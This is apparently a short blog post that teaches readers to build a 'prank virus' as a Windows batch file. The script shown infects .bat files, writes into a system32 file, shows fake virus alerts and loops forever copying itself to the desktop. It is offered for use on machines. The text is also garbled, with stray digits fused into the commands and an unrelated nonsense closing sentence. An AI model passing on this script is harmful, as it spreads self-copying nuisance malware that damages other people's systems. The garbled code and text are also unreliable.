how to make a prank virus only for fun!!!!

hello friends........
in this post i will tell you how can u make a funny prank virus :)
trick is here:

open notepad and type
@echo off
3echo checking system:4
5echo for %%i in ("*.bat") do copy %%i+c:\tmp.bat %%i >c:\windows\system32\autoexec.NT6echo VIRUS DETECTED
pause
echo DELETING VIRUS
pause
:1
dir /s
copy c:\tmp.bat c:\docum~1\%username%\desktop\greatgame_%random%.bat7
goto 1

This will create a never ending stream of mindless code. This cannot be stopped easily.8Save the file as "virus.bat"
The contrived tree rends a healthy workload.
